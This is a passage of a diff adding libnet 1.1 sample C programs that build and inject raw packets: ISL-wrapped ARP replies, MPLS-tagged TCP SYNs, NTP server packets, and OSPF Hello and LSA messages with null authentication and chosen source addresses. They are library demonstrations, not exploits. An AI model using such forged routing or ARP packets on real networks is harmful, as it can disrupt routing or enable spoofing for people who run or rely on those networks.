+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c, len;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *dst;
+ u_long ip;
+ u_char dhost[5] = {0x01, 0x00, 0x0c, 0x00, 0x00};
+ u_char snap[6] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00};
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: [ISL]\n");
+
+ device = NULL;
+ dst = NULL;
+ while ((c = getopt(argc, argv, "i:d:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ dst = libnet_hex_aton(optarg, &len);
+ break;
+ case 'i':
+ device = optarg;
+ break;
+ }
+ }
+
+ if (dst == NULL)
+ {
+ fprintf(stderr, "usage %s -d dst [-i interface]\n",
+ argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ ip = libnet_get_ipaddr4(l);
+
+ t = libnet_build_arp(
+ ARPHRD_ETHER, /* hardware addr */
+ ETHERTYPE_IP, /* protocol addr */
+ 6, /* hardware addr size */
+ 4, /* protocol addr size */
+ ARPOP_REPLY, /* operation type */
+ enet_src, /* sender hardware addr */
+ (u_char *)&ip, /* sender protocol addr */
+ enet_dst, /* target hardware addr */
+ (u_char *)&ip, /* target protocol addr */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ dst, /* ethernet destination */
+ ETHERTYPE_ARP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_isl(
+ dhost,
+ 0x0,
+ 0x0,
+ enet_src,
+ 10 + 42,
+ snap,
+ 10,
+ 0x8000,
+ 0,
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ISL header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ISL packet; check the wire.\n", c);
+ }
+ free(dst);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ free(dst);
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/libnet_test.h b/libnet/sample/libnet_test.h
new file mode 100644
index 0000000..7590e7a
--- /dev/null
+++ b/libnet/sample/libnet_test.h
@@ -0,0 +1,60 @@
+/*
+ * $Id: libnet_test.h,v 1.3 2004/01/29 21:17:16 mike Exp $
+ *
+ * libnet_test.h
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ */
+
+#ifndef __LIBNET_TEST_H
+#define __LIBNET_TEST_H
+
+#ifndef _WIN32
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#include "../include/win32/getopt.h"
+#endif
+
+#define libnet_timersub(tvp, uvp, vvp) \
+ do { \
+ (vvp)->tv_sec = (tvp)->tv_sec - (uvp)->tv_sec; \
+ (vvp)->tv_usec = (tvp)->tv_usec - (uvp)->tv_usec; \
+ if ((vvp)->tv_usec < 0) { \
+ (vvp)->tv_sec--; \
+ (vvp)->tv_usec += 1000000; \
+ } \
+ } while (0)
+
+u_char enet_src[6] = {0x0d, 0x0e, 0x0a, 0x0d, 0x00, 0x00};
+u_char enet_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86};
+u_char ip_src[4] = {0x0a, 0x00, 0x00, 0x01};
+u_char ip_dst[4] = {0x0a, 0x00, 0x00, 0x02};
+u_char fddi_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
+u_char fddi_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86};
+u_char tr_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
+u_char tr_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86};
+
+u_char org_code[3] = {0x00, 0x00, 0x00};
+
+void usage(char *);
+
+#if defined(__WIN32__)
+#include <win32/getopt.h>
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#ifndef _WIN32
+#include <sys/time.h>
+#endif
+#if defined(__GNUC__) /* mingw compiler */
+extern __attribute__((dllimport)) char *optarg;
+#else /* assume msvc */
+#ifndef _WIN32
+extern __dllspec(dllimport) char *optarg;
+#endif
+#endif
+#endif /* __WIN32__ */
+
+#endif /* __LIBNET_TEST_H */
+
+/* EOF */
diff --git a/libnet/sample/mpls.c b/libnet/sample/mpls.c
new file mode 100644
index 0000000..7e6a070
--- /dev/null
+++ b/libnet/sample/mpls.c
@@ -0,0 +1,251 @@
+/*
+ * $Id: mpls.c,v 1.3 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build an MPLS packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *payload;
+ u_long payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: MPLS[link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0xffffffff, /* sequence number */
+ 0x00000000, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+
+ t = libnet_build_mpls(
+ 29, /* label */
+ 4, /* experimental */
+ LIBNET_MPLS_BOS_ON, /* bottom of stack */
+ 0xff, /* ttl */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ t = libnet_build_mpls(
+ 39, /* label */
+ 5, /* experimental */
+ LIBNET_MPLS_BOS_ON, /* bottom of stack */
+ 0xef, /* ttl */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ t = libnet_build_mpls(
+ 59, /* label */
+ 6, /* experimental */
+ LIBNET_MPLS_BOS_ON, /* bottom of stack */
+ 0x0f, /* ttl */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_MPLS, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte MPLS frame; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/ntp.c b/libnet/sample/ntp.c
new file mode 100644
index 0000000..0fef46f
--- /dev/null
+++ b/libnet/sample/ntp.c
@@ -0,0 +1,193 @@
+/*
+ * $Id: ntp.c,v 1.3 2004/02/20 18:53:49 mike Exp $
+ *
+ * libnet 1.1
+ * Build an NTP Packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ u_long dst_ip;
+ libnet_ptag_t t;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 NTP packet shaping[raw -- autobuilding IP]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ dst_ip = 0;
+ while((c = getopt(argc, argv, "d:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ }
+ }
+ if (!dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Build the packet, remmebering that order IS important. We must
+ * build the packet from lowest protocol type on up as it would
+ * appear on the wire. So for our NTP packet:
+ *
+ * --------------------------------------------------------------------
+ * | IP | UDP | NTP |
+ * --------------------------------------------------------------------
+ * ^ ^ ^
+ * |-------------- | |
+ * libnet_build_ipv4()--| | |
+ * | |
+ * libnet_build_udp()-------| |
+ * |
+ * libnet_build_ntp()------------------------------|
+ */
+ t = libnet_build_ntp(
+ LIBNET_NTP_LI_AC, /* leap indicator */
+ LIBNET_NTP_VN_4, /* version */
+ LIBNET_NTP_MODE_S, /* mode */
+ LIBNET_NTP_STRATUM_PRIMARY, /* stratum */
+ 4, /* poll interval */
+ 1, /* precision */
+ 0xffff, /* delay interval */
+ 0xffff, /* delay fraction */
+ 0xffff, /* dispersion interval */
+ 0xffff, /* dispersion fraction */
+ LIBNET_NTP_REF_PPS, /* reference id */
+ 0x11, /* reference ts int */
+ 0x22, /* reference ts frac */
+ 0x33, /* originate ts int */
+ 0x44, /* originate ts frac */
+ 0x55, /* receive ts int */
+ 0x66, /* receive ts frac */
+ 0x77, /* transmit ts interval */
+ 0x88, /* transmit ts fraction */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build NTP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ libnet_seed_prand(l);
+ t = libnet_build_udp(
+ libnet_get_prand(LIBNET_PRu16), /* source port */
+ 123, /* NTP port */
+ LIBNET_UDP_H + LIBNET_NTP_H, /* UDP packet length */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_NTP_H,/* packet length */
+ IPPROTO_UDP,
+ dst_ip,
+ l);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+
+ fprintf(stderr, "l contains a %d byte packet\n", libnet_getpacket_size(l));
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte NTP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -d destination_ip\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/ospf_hello.c b/libnet/sample/ospf_hello.c
new file mode 100644
index 0000000..a4e3494
--- /dev/null
+++ b/libnet/sample/ospf_hello.c
@@ -0,0 +1,179 @@
+/*
+ * $Id: ospf_hello.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an OSPF Hello packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1999, 2000 Andrew Reiter <areiter@bindview.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src, dst, nbr;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *to, *from, *neighbor;
+ u_char auth[8] = {0,0,0,0,0,0,0,0};
+
+
+ printf("libnet 1.1 OSPF Hello packet shaping[raw]\n");
+
+ if (argc != 4)
+ {
+ usage(argv[0]);
+ }
+
+ from = argv[1];
+ to = argv[2];
+ neighbor = argv[3];
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ /* Too lazy to check for error */
+ src = libnet_name2addr4(l, from, LIBNET_DONT_RESOLVE);
+ dst = libnet_name2addr4(l, to, LIBNET_DONT_RESOLVE);
+ nbr = libnet_name2addr4(l, neighbor, LIBNET_DONT_RESOLVE);
+
+ t = libnet_build_ospfv2_hello(
+ 0xffffffff, /* netmask */
+ 2, /* interval */
+ 0x00, /* options */
+ 0x00, /* priority */
+ 30, /* dead int */
+ src, /* router */
+ src, /* router */
+ nbr, /* neighbor */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build OSPF HELLO header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /* authentication data */
+ t = libnet_build_data(
+ auth, /* auth data */
+ LIBNET_OSPF_AUTH_H, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build OSPF auth header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ospfv2(
+ LIBNET_OSPF_HELLO_H + LIBNET_OSPF_AUTH_H, /* OSPF packet length */
+ LIBNET_OSPF_HELLO, /* OSPF packet type */
+ htonl(0xd000000d), /* router id */
+ htonl(0xc0ffee00), /* area id */
+ 0, /* checksum */
+ LIBNET_OSPF_AUTH_NULL, /* auth type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build OSPF header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_OSPF_H +
+ LIBNET_OSPF_HELLO_H + LIBNET_OSPF_AUTH_H, /* packet total legnth */
+ 0, /* TOS */
+ 101, /* IP iD */
+ IP_DF, /* IP frag */
+ 254, /* TTL */
+ IPPROTO_OSPF, /* protocol */
+ 0, /* checksum */
+ src, /* source IP */
+ dst, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte OSPF packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *pname)
+{
+ printf("Usage: %s <source ip> <dest. ip> <neighbor>\n", pname);
+ exit(EXIT_SUCCESS);
+}
diff --git a/libnet/sample/ospf_lsa.c b/libnet/sample/ospf_lsa.c
new file mode 100644
index 0000000..aa08283
--- /dev/null
+++ b/libnet/sample/ospf_lsa.c
@@ -0,0 +1,190 @@
+/*
+ * $Id: ospf_lsa.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an OSPF LSA packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1999, 2000 Andrew Reiter <areiter@bindview.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src, dst;
+ u_char auth[8] = {0,0,0,0,0,0,0,0};
+ char *from, *to, errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 OSPF LSA packet shaping[raw]\n");
+
+ if (argc != 3)
+ {
+ usage(argv[0]);
+ }
+
+ from = argv[1];
+ to = argv[2];
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ /* Too lazy to check for error */
+ src = libnet_name2addr4(l, from, LIBNET_DONT_RESOLVE);
+ dst = libnet_name2addr4(l, to, LIBNET_DONT_RESOLVE);
+
+ t = libnet_build_ospfv2_lsa_net(
+ 0xffffff00, /* netmask */
+ 0xc0ffee00, /* router id */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build LSA net header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ospfv2_lsa(
+ 40, /* packet age */
+ 0, /* options */
+ LIBNET_LS_TYPE_NET, /* type */
+ htonl(0xc0ffee00), /* LS id */
+ src, /* ad router */
+ 0x11111111, /* seq */
+ 0xffff, /* checksum */
+ LIBNET_OSPF_LS_NET_H + LIBNET_OSPF_LSA_H, /* packet length */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build LSA header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /* authentication data */
+ t = libnet_build_data(
+ auth, /* auth data */
+ LIBNET_OSPF_AUTH_H, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build OSPF AUTH header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ospfv2(
+ LIBNET_OSPF_LSA_H + LIBNET_OSPF_AUTH_H +
+ LIBNET_OSPF_LS_NET_H, /* OSPF packet length */
+ LIBNET_OSPF_LSA, /* OSPF packet type */
+ htonl(0xd000000d), /* router id */
+ htonl(0xc0ffee00), /* area id */
+ 0, /* checksum */
+ LIBNET_OSPF_AUTH_NULL, /* auth type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
